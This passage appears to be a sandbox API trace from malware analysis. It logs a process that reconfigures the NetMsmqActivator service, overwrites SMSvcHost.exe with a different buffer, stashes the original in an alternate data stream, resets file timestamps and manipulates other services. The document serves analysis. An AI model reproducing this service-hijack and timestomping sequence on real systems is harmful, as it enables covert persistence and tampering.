lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0210.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0210.087] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeCreateGlobalPrivilege", cbData=0x18 | out: lpData="SeCreateGlobalPrivilege") returned 0x0 [0210.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.088] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.089] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0210.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.089] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0210.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.089] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.090] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0210.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0210.090] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f1c40*, cbData=0xb | out: lpData=0x21f1c40*) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.090] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.091] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.091] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe\" -NetMsmqActivator", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0210.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0210.091] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe\" -NetMsmqActivator", lpDst=0x21f2e28, nSize=0x53 | out: lpDst="\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe\" -NetMsmqActivator") returned 0x52 [0210.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0210.092] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe\" -NetMsmqActivator", cbData=0x52 | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe\" -NetMsmqActivator") returned 0x0 [0210.092] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe\" -NetMsmqActivator", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0210.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0210.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0210.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0210.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0210.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0210.092] LocalFree (hMem=0x7f03d0) returned 0x0 [0210.092] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0210.092] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x2) returned 0x803990 [0210.128] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0210.147] CloseServiceHandle (hSCObject=0x803990) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.147] RegCloseKey (hKey=0xc4) returned 0x0 [0210.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0210.147] RegCloseKey (hKey=0x148) returned 0x0 [0210.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0210.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0210.148] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0210.148] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0210.148] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0210.148] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x44000 [0210.148] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0210.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x29f0048 [0210.150] ReadFile (in: hFile=0x148, lpBuffer=0x29f0048, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesRead=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0210.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x2a34050 [0210.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0210.154] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0210.154] WriteFile (in: hFile=0x148, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0210.155] SetEndOfFile (hFile=0x148) returned 1 [0210.155] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe2894000, dwHighDateTime=0x1d0aa22)) returned 1 [0210.155] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0210.155] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0210.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0210.155] NtClose (Handle=0x148) returned 0x0 [0210.155] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x212a8)) returned 1 [0210.155] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0210.155] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0210.155] WriteFile (in: hFile=0x148, lpBuffer=0x2a34050*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2a34050*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0210.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0210.162] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0210.162] NtClose (Handle=0x148) returned 0x0 [0210.162] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x10) returned 0x8038a0 [0210.162] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0210.163] GetLastError () returned 0x433 [0210.163] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0210.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2a34050) returned 1 [0210.168] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0210.169] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0210.169] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0210.169] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x20) returned 0x803990 [0210.170] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0210.170] GetLastError () returned 0x426 [0210.170] CloseServiceHandle (hSCObject=0x803990) returned 1 [0210.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0210.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0210.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0210.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0210.170] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0210.170] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0210.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 